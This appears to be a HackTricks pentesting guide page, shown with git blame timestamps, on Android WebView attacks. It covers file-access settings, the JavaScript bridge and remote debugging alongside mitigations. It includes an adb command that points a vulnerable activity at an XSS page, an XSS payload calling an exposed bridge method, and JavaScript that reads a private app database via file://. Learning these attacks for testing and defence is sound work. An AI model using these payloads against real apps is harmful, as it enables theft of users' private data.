hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

157 lines
8.3 KiB
Markdown
Raw Normal View History

# Webview Attacks
2022-04-28 16:01:33 +00:00
<details>
2024-01-03 10:43:38 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-01-03 10:43:38 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2024-01-03 10:43:38 +00:00
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-09 00:36:13 +00:00
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2024-01-03 10:43:38 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-08 03:08:28 +00:00
## Simplified Guide on WebView Configurations and Security
2022-04-28 16:01:33 +00:00
2024-02-08 03:08:28 +00:00
### Overview of WebView Vulnerabilities
2024-02-08 03:08:28 +00:00
A critical aspect of Android development involves the correct handling of WebViews. This guide highlights key configurations and security practices to mitigate risks associated with WebView usage.
2024-02-08 03:08:28 +00:00
![WebView Example](../../.gitbook/assets/image%20(718).png)
2024-02-08 03:08:28 +00:00
### **File Access in WebViews**
2024-02-08 03:08:28 +00:00
By default, WebViews permit file access. This functionality is controlled by the `setAllowFileAccess()` method, available since Android API level 3 (Cupcake 1.5). Applications with the **android.permission.READ_EXTERNAL_STORAGE** permission can read files from external storage using a file URL scheme (`file://path/to/file`).
2024-02-08 03:08:28 +00:00
#### **Deprecated Features: Universal and File Access From URLs**
2024-02-08 03:08:28 +00:00
- **Universal Access From File URLs**: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (`false`) for apps targeting Android Jelly Bean and newer.
- To check this setting, use `getAllowUniversalAccessFromFileURLs()`.
- To modify this setting, use `setAllowUniversalAccessFromFileURLs(boolean)`.
2024-02-08 03:08:28 +00:00
- **File Access From File URLs**: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
- Use `getAllowFileAccessFromFileURLs()` to check and `setAllowFileAccessFromFileURLs(boolean)` to set.
2021-05-29 13:27:23 +00:00
2024-02-08 03:08:28 +00:00
#### **Secure File Loading**
2021-05-29 16:57:06 +00:00
2024-02-08 03:08:28 +00:00
For disabling file system access while still accessing assets and resources, the `setAllowFileAccess()` method is used. With Android R and above, the default setting is `false`.
- Check with `getAllowFileAccess()`.
- Enable or disable with `setAllowFileAccess(boolean)`.
2021-05-29 13:27:23 +00:00
2024-02-08 03:08:28 +00:00
#### **WebViewAssetLoader**
2021-05-29 13:27:23 +00:00
2024-02-08 03:08:28 +00:00
The **WebViewAssetLoader** class is the modern approach for loading local files. It uses http(s) URLs for accessing local assets and resources, aligning with the Same-Origin policy, thus facilitating CORS management.
2021-05-29 13:27:23 +00:00
2024-02-08 03:08:28 +00:00
### **JavaScript and Intent Scheme Handling**
2021-05-29 13:27:23 +00:00
2024-02-08 03:08:28 +00:00
- **JavaScript**: Disabled by default in WebViews, it can be enabled via `setJavaScriptEnabled()`. Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
2021-05-29 13:27:23 +00:00
2024-02-08 03:08:28 +00:00
- **Intent Scheme**: WebViews can handle the `intent` scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter "support_url" that could be exploited to execute cross-site scripting (XSS) attacks.
2021-05-29 13:27:23 +00:00
2024-02-08 03:08:28 +00:00
![Vulnerable WebView](../../.gitbook/assets/image%20(719).png)
2021-05-29 13:27:23 +00:00
2024-02-08 03:08:28 +00:00
Exploitation example using adb:
```bash
2024-02-08 03:08:28 +00:00
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
### Javascript Bridge
2021-05-29 16:28:54 +00:00
2024-02-08 03:08:28 +00:00
A feature is provided by Android that enables **JavaScript** in a WebView to invoke **native Android app functions**. This is achieved by utilizing the `addJavascriptInterface` method, which integrates JavaScript with native Android functionalities, termed as a _WebView JavaScript bridge_. Caution is advised as this method allows all pages within the WebView to access the registered JavaScript Interface object, posing a security risk if sensitive information is exposed through these interfaces.
### Important Considerations
2021-05-29 16:28:54 +00:00
2024-02-08 03:08:28 +00:00
- **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.
2021-05-29 16:28:54 +00:00
2024-02-08 03:08:28 +00:00
#### Implementing a JavaScript Bridge
2021-05-29 16:28:54 +00:00
2024-02-08 03:08:28 +00:00
- **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:
2021-05-29 16:28:54 +00:00
```javascript
2024-02-08 03:08:28 +00:00
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
2021-05-29 16:28:54 +00:00
```
2024-02-08 03:08:28 +00:00
- JavaScript Bridge is enabled by adding an interface to the WebView:
2021-05-29 16:28:54 +00:00
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
2024-02-08 03:08:28 +00:00
- Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:
```html
2021-05-29 16:28:54 +00:00
<script>alert(javascriptBridge.getSecret());</script>
```
2024-02-08 03:08:28 +00:00
- To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.
2021-05-29 16:28:54 +00:00
2024-02-08 03:08:28 +00:00
### Reflection-based Remote Code Execution (RCE)
2021-05-29 16:28:54 +00:00
2024-02-08 03:08:28 +00:00
- A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.
2021-05-29 16:28:54 +00:00
### Remote Debugging
2024-02-08 03:08:28 +00:00
- **Remote debugging** is possible with **Chrome Developer Tools**, enabling interaction and arbitrary JavaScript execution within the WebView content.
2024-02-08 03:08:28 +00:00
#### Enabling Remote Debugging
2024-02-08 03:08:28 +00:00
- Remote debugging can be enabled for all WebViews within an application by:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
2024-02-08 03:08:28 +00:00
- To conditionally enable debugging based on the application's debuggable state:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
2024-02-08 03:08:28 +00:00
## Exfiltrate arbitrary files
2024-02-08 03:08:28 +00:00
- Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
2021-05-29 16:57:06 +00:00
alert(xhr.responseText);
}
}
2021-05-29 16:57:06 +00:00
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
2024-02-08 03:08:28 +00:00
## References
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
2022-04-28 16:01:33 +00:00
<details>
2024-01-03 10:43:38 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-01-03 10:43:38 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2024-01-03 10:43:38 +00:00
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-09 00:36:13 +00:00
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2024-01-03 10:43:38 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>